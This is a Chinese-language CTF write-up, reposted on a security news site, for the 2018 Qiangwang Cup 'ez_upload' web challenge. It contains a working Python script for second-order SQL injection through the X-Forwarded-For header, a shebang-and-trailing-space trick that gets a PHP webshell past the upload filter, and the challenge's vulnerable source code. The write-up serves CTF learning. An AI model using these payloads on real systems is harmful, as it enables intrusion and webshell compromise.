建议投诉 | 联系我们 | 关注微信 安全虎 - 专注于互联网信息安全的科技新媒体!
你的位置:首页 > 经验技术 » 正文

强网杯拟态防御赛ez_upload Writeup

来源:2018-05-15 | 人围观 | 评论:暂无评论

 这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家。

ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型的ctf式题目(虽然现在大家都很抵制这样的题目),这里主要是分享Writeup以及我们队在完成题目时的思考流程。

ez_upload 思考流程

最开始我先描述一下题目逻辑。
1、login.php,登陆页面,只获取了username,没有任何限制,username会在转义后进入session。
2、index.php,页面输出了username,ip(可以被xff覆盖),以及上传文件列表(不完整,只有10位)。
3、upload.php,上传文件,要求必须上传php,但是又过滤很多,没办法绕过限制。

在拿到题目后,我们可以得到以下信息:

1、登陆无任何限制,只输入用户名,但单引号、双引号、反斜杠会被转义。
aaa' => aaa\'
1)hint提到数据库中username的长度为25

2、登陆后,index.php获取ip,这个ip可以被xff覆盖,而且是每次都会获取。
1)xff受到waf限制,形似。

$ip = get_ip_from_xff(); echo $ip;  waf($ip);

但这里只拦截包括单引号、反斜杠

3、上传文件,要求必须上传php,但会被waf拦截。
1)代码形似:

waf($_FILES);

所以和ip那里触发不一致

2)看上去对php的验证在前,在最早的测试中,只有在触发waf的情况下才能被认为是php(猜测)

<?php..... <?\n.....

这里的判断看上去完全一致,像是个悖论

3、上述中所有提到的变量,在输出前都是从session里面取得,但提示中数据库存在。

那么猜测有两个数据库操作点。

1、index.php查看文件列表,select filename from uploads where user = '\$user' and ip = "\$ip"? # ip是否参与未知

2、upload.php上传文件,insert into uploads values (id, '\$user', '\$ip', '\$filename')...

###########猜测分割钱

在最早分析完题目后,由于我们没办法绕过上传,所以重新思考了所有的条件。于是有了下面的猜测:

猜测这里存在二次注入,通过user25位阶段对\的转义,然后转义单引号,这样与下一个单引号闭合,于是完成insert注入。

猜测为注入题目...

文件如果被上传,那么一定可以被index.php看到,那么我们需要假设这个文件一定可以被上传。

但我们传不了,那么有两种假设,有我们忽略的条件或者black trick。

而忽略的条件只有waf(尤其是ip上的

假设ip上的waf是用来测试上传文件的文件名

而insert语句为insert into uploads values (id, '\$user', '\$filename')...

我们可以通过测试ip的waf,知道filename的waf。

但在这种假设下,文件一定可以被上传

从上面的条件思考upload.php的核心代码大致如下

if(!empty($_FILES['upfiles']['tmp_name'])) {     if(is_array($_FILES['upfile'])){         die();     }     if(checkIsPhp($_FILES['upfile'])){         die('bu shi php')     }     if(waf($FILES['upfiles'])){         mysql_query('insert')     }else{         die('waf')     } }

重新思考流程后,我们可以想到,这里的文件一定可以被上传(即使不能直接上传php)

在第二天的比赛中,经过测试,我们发现后台的判断非常奇怪,在假设文件可以被上传的情况下,后台大概是判断是不是一个纯粹的php文件,在不考虑强行脑洞的情况下,我们需要寻找一个非<?开头的php文件。

这里我们用了

#!/usr/bin/php

当我们添加这行时,我们就能成功绕过第一个看似悖论的判断条件了,紧接着是后缀的判断,这个很简单,只要在.php后加入空格或者TAB键就好了。

通过这种方式,我们可以成功的上传php文件了,但是我们发现在index页面中,我们只能看到10位返回,也就是说我们无法获得文件名。

所以这里,我们需要通过注入来获取上传的文件名,值得一提的是,我们之前的猜测是正确的,后台逻辑为上传成功后插入数据库,语句为:

insert into uploads values (id, '\$user', '\$ip', '\$filename')...

这里我们可以通过构造插入多条数据来显注,每次只能注10位,简单脚本如下

# coding=utf-8  import requests import random import hashlib import time  s = requests.Session() url='http://10.10.3.113'  def get_content(url):      content_length = 0      payload = "(select(length(filename))from(select(filename)from(picture)where(name=\"rrr\")limit  19,1)a)"       content_length = get_response(payload)     print "[*] content_length: "+str(content_length)       content = ""      content_count = int(content_length)/9      for i in xrange(content_count+1):         payload = "(select(mid(filename,"+str(9*i+1)+",9))from(select(filename)from(picture)where(name=\"rrr\")limit    19,1)a)"           # print payload         content += get_response(payload)         print "[*] content: "+content      print "[*] content: " + content   def get_response(payload):      s = requests.Session()     username = "teststeststests1234\\"     login_url = url + "/login.php?action=login"     data = {"username": username}      s.post(login_url, data)      # payload     payload = ",1,1),(\"llrr\",1,{})#".format(payload)       # 上传文件      upload_url = url + "/upload.php"      f = open("test.txt", "rb")     header = {"X-Forwarded-For": payload}     file = {"upfile": f}      otime = time.time()     r = s.post(upload_url, headers = header, files = file)     rr = r.text      # 获取返回      username2 = "llrr"     login_url = url + "/login.php?action=login"     data = {"username": username2}      r2 = s.post(login_url, data)      index = r2.text.find("</p>            </div>")     index2 = r2.text[index-20:index].rfind("<p>")     return r2.text[index-17+index2:index].replace('....','')  get_content(url)

获取到文件名就可以访问webshell,直接获取flag了

回顾题目

在完成题目之后,我拿到了题目的源码,重新回顾源码后发现一些有趣的东西。

upload.php  <?php session_start(); include_once 'lib/clean.php'; include_once 'lib/database.php';  if (isset($_FILES['upfile'])) {     $file = $_FILES['upfile'];     if ($file ['error'] > 0) {         switch ($file ['error']) {             case 1 :                 $mes = 'The uploaded file exceeds the value of the upload_max_filesize option in the PHP configuration file';                 break;             case 2 :                 $mes = 'Exceeded the size of the form MAX_FILE_SIZE limit';                 break;             case 3 :                 $mes = 'File section was uploaded';                 break;             case 4 :                 $mes = 'No upload file selected';                 break;             case 6 :                 $mes = 'No temporary directory found';                 break;             case 7 :             case 8 :                 $mes = 'System error';                 break;         }         die($mes);     }     $content = file_get_contents($file['tmp_name']);     checkMIME($file);     if (checkContent($content) && checkExts($file['name'])) {         upload($file);     } else {         die('attack detected');     } } else {     die('file not found'); }  function upload($file) {     $savepath = dirname(__file__) . '/uploads/';     $filename = explode('.', $file['name']);     $newname = rand_name() . "." . trim(end($filename));     $finalname = $savepath . $newname;     if (move_uploaded_file($file['tmp_name'], $finalname)) {         $db = new Database();         //,1,(select substring(filename,10,10) from(select filename from picture limit 0,1)x))#         if ($db->insert($_SESSION['username'], getip(), $newname)) {             header('location: index.php');             exit();         }     } }  function rand_name($l = 64) {     $str = null;     $Pool = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_";     $max = strlen($Pool) - 1;     for ($i = 0; $i < $l; $i++) {         $str .= $Pool[rand(0, $max)];     }     return $str; }  function checkExts($filename) {     $AllowedExt = array('php', 'php3', 'php4', 'php5', 'pht', 'phtml', 'inc');     $filename = explode('.', $filename);     if (in_array(strtolower($filename[count($filename) - 1]), $AllowedExt)) {         return false;     }     return true; }  function checkMIME($file) {     // text/php text/x-php     $php_ext = array("text/php", "text/x-php");     $type = mime_content_type($file['tmp_name']);     if(!in_array(strtolower($type), $php_ext)){         die("i need php file");     } }  function checkContent($content) {     if (stripos($content, '<?') === 0) {         return false;     }     return true; }

upload中我们一直认为是悖论的过滤,是通过mime_content_type来判断的,这也是为什么我们可以用#!/usr/bin/php绕过的原因,蛮有意思的一个点

标签:

相关内容推荐:

Top